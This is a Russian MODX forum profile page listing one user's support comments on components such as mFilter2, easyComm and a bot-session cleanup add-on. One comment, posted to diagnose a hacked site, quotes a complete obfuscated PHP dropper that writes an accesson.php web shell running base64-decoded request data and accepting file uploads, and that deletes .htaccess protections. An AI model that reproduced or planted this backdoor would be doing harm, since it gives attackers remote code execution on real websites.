Наумов Алексей

Наумов Алексей

С нами с 31 марта 2013; Место в рейтинге пользователей: #13
Наумов Алексей
12 марта 2024, 12:42
0
Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.

А так да, прям попыточка взломать всё.

К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого

$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');
беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…
Наумов Алексей
12 марта 2024, 12:36
0
Касательно второй строчки здесь
2. Цвет
— Красный
— Синий, Красный
— Синий
стоит посмотреть на параметр values_delimeter сниппета mFilter2. В нем по умолчанию запятая, и такая же запятая стоит в значении опции. Я в этом параметре обычно указываю точку с запятой.
Наумов Алексей
11 марта 2024, 23:09
0
Все правильно работает.
Допустим 2 товара:
1. Размер — XL, Цвет — Синий, Красный.
1. Размер — XL, Цвет — Синий.

Ты ставишь в фильтре размер XL — видим оба товара, т.к. они есть размера XL.
Добавляем галочку Синий — видим оба товара, т.к. они есть размера XL и синего цвета.
Ставим галочку Красный — видим оба товара, т.к. по логике компонента мы хотим увидеть товары, которые размера XL, а цвет нас интересует и синий и красный, т.е. любой из них (синий ИЛИ красный).

Если нужно в 3м случае видеть только товар 1 — то придется дописывать свою логику, mFilter2 так не может.
Но! тогда представь, что будет, если у тебя есть еще Товар 3 размера L. В этом случае, ты выбираешь себе джинсы, но знаешь, что на тебе хорошо сидит то L, то XL, смотря от бренда. Ставишь обе галочки — и что? Товаров будет 0, вряд ли ты этого ждал.
Наумов Алексей
11 марта 2024, 19:19
+1
Привет! Ну как-то сказать, чтобы intl-tel-input записывал номер телефона в скрытое поле user_contacts. Родное поле (которое в стандартной форме easyComm есть) убрать конечно же, чтобы не дублировалось.
Не забыть указать поле user_contacts в параметре allowedFields сниппета ecForm.
Наумов Алексей
09 марта 2024, 12:07
+1
Кто-то еще собирается, кроме Ильи? Я в раздумьях, в целом не очень далеко от Белграда нахожусь сейчас) но мое не очень знание английского останавливает.
Наумов Алексей
05 марта 2024, 13:00
0
Это не очень то наверное сложно, просто не совсем понятно, насколько это нужно… в следующем обновлении может быть
Наумов Алексей
05 марта 2024, 11:02
0
Её просто добавили руками (поэтому фиолетовая), никто не гарантирует, что она еще при этом должна работать) Среди стандартных настроек такой нет.
Наумов Алексей
04 марта 2024, 10:56
0
Не вижу в настройках источника файлов upload_maxsize.
Да и судя по коды (ссылку давал выше) — оно не будет учитываться. Этот функционал, вероятно, нужно дописывать самостоятельно (имею ввиду в компоненте), как это сделано, к примеру, в галерее miniShop2
Наумов Алексей
03 марта 2024, 17:34
0
Ну они плавающие, я не знаю, в чем причины. Я провел некоторую оптимизацию компонента, может что-то и исправилось
Наумов Алексей
01 марта 2024, 15:41
0
А что за настройка то у источника файлов?

Вот посмотри код, я вижу что проверка внутри объекта modMediaSource и там проверяется именно системная настройка upload_maxsize
Наумов Алексей
29 февраля 2024, 14:56
0
А баг ли это?.. какая настройка важнее, глобальная или то, что указано в источнике файлов?
Наумов Алексей
29 февраля 2024, 14:55
+1
Да, выпустил обновку. TODO в коде оказывается с самого начала на этот момент висел.
Наумов Алексей
28 февраля 2024, 11:16
0
Сначала нужно вернуть настройку session_handler_class на modSessionHandler, и только потом удалять компонент, так должно быть все нормально
Наумов Алексей
27 февраля 2024, 20:29
0
У pdoResources есть параметры prepareTVs и processTVs.

msProducts просто тащит то, что записано в БД, а там путь относительно источника файлов.
Наумов Алексей
27 февраля 2024, 10:48
0
странные ошибки

база то в порядке? таблица жива?
Наумов Алексей
27 февраля 2024, 10:48
0
честно говоря не помню, там и есть то пара их: что вообще включено, и делитель, у меня наверное 1/100 стоит
Наумов Алексей
26 февраля 2024, 19:18
0
Ну а сигнатуры то ботов нужных прописаны в настройках (smartsessions_bot_signatures)?
Это довольно индивидуальный параметр для каждого сайта. Если не очищается совсем — то gc не работает в php, с ним нужно копать, вот чтиво десятилетней давности: bezumkin.ru/sections/tips_and_tricks/2422
Наумов Алексей
26 февраля 2024, 17:28
0
Я вообще зачем дополнение сделал:
У моего сайта была посещаемость 300 человек в сутки. В неделю это 7*300=2100 человек. Сессии как раз неделю и хранились. Вот только в таблице сессий было не 2000 записей, как было бы ожидаемо, а около 100-200 тысяч. Когда я начал изучать вопрос — боты, одни боты! яндекс, гугл, просто wget какие-то, индексаторы картинок, парсеры… чего только не было) и что забавное — почти всегда каждый запрос генерил новую сессию, боты не держали её)) а итоге приходит яндекс бот на сайт, индексирует сайт, 3000 страниц — о-ппа и +3000 сессий. А кому они нужны?)
Наумов Алексей
26 февраля 2024, 17:23
0
Поле access есть: см. исходники.

… таблица начинает расти в прогрессии, если есть много контекстов
В этом дополнении нет ничего нового, связанного с контекстами, по сравнению со стандартным sessionhandler. Основная цель дополнения — расширить таблицу сессий, чтобы в ней хранился user-agent. И если user-agent принадлежит боту — чистить такие сессии раньше, не хранить их долго.

И нужно исключить возможность вот такой ошибки :)
Эта ошибка возникла из-за того, что оказался поврежден файл с таблицей БД. Причина, по которой произошла данная ситуация, вероятно, связана с каким-то сбоем на сервере. К примеру, у меня раньше часто из-за нехватки памяти падал процесс mysql, и эти падения иногда заканчивались повреждением отдельных таблиц БД, весьма часто таблицы с сессией (потому что эта таблица каждый раз при открытии любой страницы сайта обновляется), но иногда и таблиц вроде site_content. Увеличение объема памяти решило в моем случае проблему с падающим mysql и повреждением таблиц.